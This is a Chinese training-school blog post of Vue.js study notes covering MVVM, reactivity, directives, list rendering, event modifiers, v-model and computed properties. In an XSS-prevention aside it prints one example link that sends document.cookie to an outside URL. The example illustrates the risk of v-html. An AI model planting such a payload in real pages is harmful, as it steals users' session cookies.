当前位置: 首页 / 技术干货 / 正文
好程序员web前端培训学习笔记Vue学习笔记一

2020-04-28

好程序员 web前端培训

好程序员web前端培训学习笔记Vue学习笔记了不起的vue

1.官方介绍

Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。

Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。

另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。

vue

2.渐进式

框架做分层设计,每层都可选,不同层可以灵活接入其他方案。而当你都想用官方的实现时,会发现也早已准备好,各层之间包括配套工具都能比接入其他方案更便捷地协同工作。

一个个放入,放多少就做多少。

3. MV* 模式(MVC/MVP/MVVM)

  • "MVC": model view controller
    用户对View操作以后,View捕获到这个操作,会把处理的权利交移给Controller(Pass calls);Controller会对来自View数据进行预处理、决定调用哪个Model的接口;然后由Model执行相关的业务逻辑(数据请求);当Model变更了以后,会通过观察者模式(Observer Pattern)通知View;View通过观察者模式收到Model变更的消息以后,会向Model请求最新的数据,然后重新更新界面。 把业务逻辑和展示逻辑分离,模块化程度高。但由于View是强依赖特定的Model的,所以View无法组件化,无法复用
  • "MVP": model view presenter
    MVC模式一样,用户对View的操作都会从View交移给Presenter。Presenter会执行相应的应用程序逻辑,并且对Model进行相应的操作;而这时候Model执行完业务逻辑以后,也是通过观察者模式把自己变更的消息传递出去,但是是传给Presenter而不是View。Presenter获取到Model变更的消息以后,通过View提供的接口更新界面 View不依赖Model,View可以进行组件化。但Model->View的手动同步逻辑 麻烦,维护困难
  • "MVVM": model view viewmodel
    MVVM的调用关系和MVP一样。但是,在ViewModel当中会有一个叫Binder,或者是Data-binding engine的东西。你只需要在View的模版语法当中,指令式地声明View上的显示的内容是和Model的哪一块数据绑定的。当ViewModel对进行Model更新的时候,Binder会自动把数据更新到View上去,当用户对View进行操作(例如表单输入),Binder也会自动把数据更新到Model上去。这种方式称为:Two-way data-binding,双向数据绑定。可以简单而不恰当地理解为一个模版引擎,但是会根据数据变更实时渲染。解决了MVP大量的手动View和Model同步的问题,提供双向绑定机制。提高了代码的可维护性。对于大型的图形应用程序,视图状态较多,ViewModel的构建和维护的成本都会比较高。
  • 直接下载并用 <script> 标签引入,Vue 会被注册为一个全局变量。

. Vue 心跳体验

<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>

命令行工具vue cli

  • Vue 提供了一个官方的 CLI,为单页面应用 (SPA) 快速搭建繁杂的脚手架。

npm install -g @vue/cli

. 真相只有一个-数据绑定原理

https://cn.vuejs.org/v2/guide/reactivity.html

当你把一个普通的 JavaScript 对象传入 Vue 实例作为 data 选项,Vue 将遍历此对象所有的属性,并使用 Object.defineProperty 把这些属性全部转为 getter/setter。Object.defineProperty 是 ES5 中一个无法 shim 的特性,这也就是 Vue 不支持 IE8 以及更低版本浏览器的原因。

每个组件实例都对应一个 watcher 实例,它会在组件渲染的过程中把“接触”过的数据属性记录为依赖。之后当依赖项的 setter 触发时,会通知 watcher,从而使它关联的组件重新渲染。

注意:vue3 的 变化

Object.defineProperty有以下缺点。

1、无法监听es6的Set、Map 变化;

2、无法监听Class类型的数据;

3、属性的新加或者删除也无法监听;

4、数组元素的增加和删除也无法监听。

针对Object.defineProperty的缺点,ES6 Proxy都能够完美得解决,它唯一的缺点就是,对IE不友好,所以vue3在检测到如果是使用IE的情况下(没错,IE11都不支持Proxy),会自动降级为Object.defineProperty的数据监听系统。

. 模板语法

1. 插值

  • 文本 {{}}
  • HTML v-html
  • 防止XSS,CSRF
    (1) 前端过滤
    (2) 后台转义(< > < >)
    (3) 给cookie 加上属性 http

<a  href="javascript:location.href='http://www.baidu.com?cookie='+document.cookie">

    click</a>

  • 表达式
  • 指令:是带有 v- 前缀的特殊属性

v-bind 动态绑定属性v-if 动态创建/删除v-show 动态显示/隐藏v-on:click 绑定事件v-for 遍历v-model 双向绑定表单

  • 缩写

v-bind:src => :srcv-on:click => @click

2. class 与 style

(1)绑定HTML Class

  • 对象语法
  • 数组语法

(2)绑定内联样式

  • 对象语法
  • 数组语法

//需要将 font-size =>fontSize

3.条件渲染

(1)v-if(2)v-else v-else-if(3)template v-if ,包装元素template 不会被创建(4)v-show

4.列表渲染

(1)v-for (特殊 v-for="n in 10")

  • in
  • of

//没有区别

(2)key:

  • 跟踪每个节点的身份,从而重用和重新排序现有元素
  • 理想的 key 值是每项都有的且唯一的 id。data.id

(3)数组更新检测

  • a. 使用以下方法操作数组,可以检测变动
    push() pop() shift() unshift() splice() sort() reverse()
  • b.filter(), concat() 和 slice() ,map(),新数组替换旧数组
  • c. 不能检测以下变动的数组

vm.items[indexOfItem] = newValue

解决

(1) Vue.set(example1.items, indexOfItem, newValue)(2) splice

(4)应用:显示过滤结果

5.事件处理

(1)监听事件-直接触发代码

(2)方法事件处理器-写函数名 handleClick

(3)内联处理器方法-执行函数表达式 handleClick($event) $event 事件对象

(4)事件修饰符 https://cn.vuejs.org/v2/guide/events.html

  • .stop
  • .prevent
  • .capture
  • .self
  • .once
  • .passive

每次事件产生,浏览器都会去查询一下是否有preventDefault阻止该次事 

件的默认动作。我们加上**passive就是为了告诉浏览器,不用查询了,我们没用**

**preventDefault阻止默认动作。**

这里一般用在滚动监听,@scroll,@touchmove 。因为滚动监听过程中,移动每个像素都会产生一次事件,每次都使用内核线程查询prevent会使滑动卡顿。我们通过passive将内核线程查询跳过,可以大大提升滑动的流畅度。

(5)按键修饰符

6.表单控件绑定/双向数据绑定

v-model

(1)基本用法

  • 购物车

(2)修饰符

  • .lazy :失去焦点同步一次
  • .number :格式化数字
  • .trim : 去除首尾空格

7. 计算属性

复杂逻辑,模板难以维护

(1) 基础例子

(2) 计算缓存 VS methods

  • 计算属性是基于它们的依赖进行缓存的。
  • 计算属性只有在它的相关依赖发生改变时才会重新求值

8. Mixins

混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。

混入对象可以包含任意组件选项。

当组件使用混入对象时,所有混入对象的选项将被混入该组件本身的选项。

好程序员公众号

  • · 剖析行业发展趋势
  • · 汇聚企业项目源码

好程序员开班动态

More+
  • HTML5大前端 <高端班>

    开班时间:2021-04-12(深圳)

    开班盛况

    开班时间:2021-05-17(北京)

    开班盛况
  • 大数据+人工智能 <高端班>

    开班时间:2021-03-22(杭州)

    开班盛况

    开班时间:2021-04-26(北京)

    开班盛况
  • JavaEE分布式开发 <高端班>

    开班时间:2021-05-10(北京)

    开班盛况

    开班时间:2021-02-22(北京)

    开班盛况
  • Python人工智能+数据分析 <高端班>

    开班时间:2021-07-12(北京)

    预约报名

    开班时间:2020-09-21(上海)

    开班盛况
  • 云计算开发 <高端班>

    开班时间:2021-07-12(北京)

    预约报名

    开班时间:2019-07-22(北京)

    开班盛况
IT培训IT培训
在线咨询
IT培训IT培训
试听
IT培训IT培训
入学教程
IT培训IT培训
立即报名
IT培训

Copyright 2011-2023 北京千锋互联科技有限公司 .All Right 京ICP备12003911号-5 京公网安备 11010802035720号